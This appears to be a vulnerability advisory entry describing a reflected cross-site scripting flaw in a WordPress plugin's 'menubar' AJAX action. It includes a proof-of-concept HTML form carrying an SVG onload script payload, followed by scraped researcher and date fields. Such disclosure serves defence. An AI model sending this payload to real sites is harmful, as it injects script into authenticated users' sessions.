The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting
<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="menubar" /> <input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" /> <input type="submit" value="Submit request" /> </form> </body> </html>
p7e4
p7e4
Yes
2022-04-04 (about 1 years ago)
2022-04-04 (about 1 years ago)
2022-04-09 (about 1 years ago)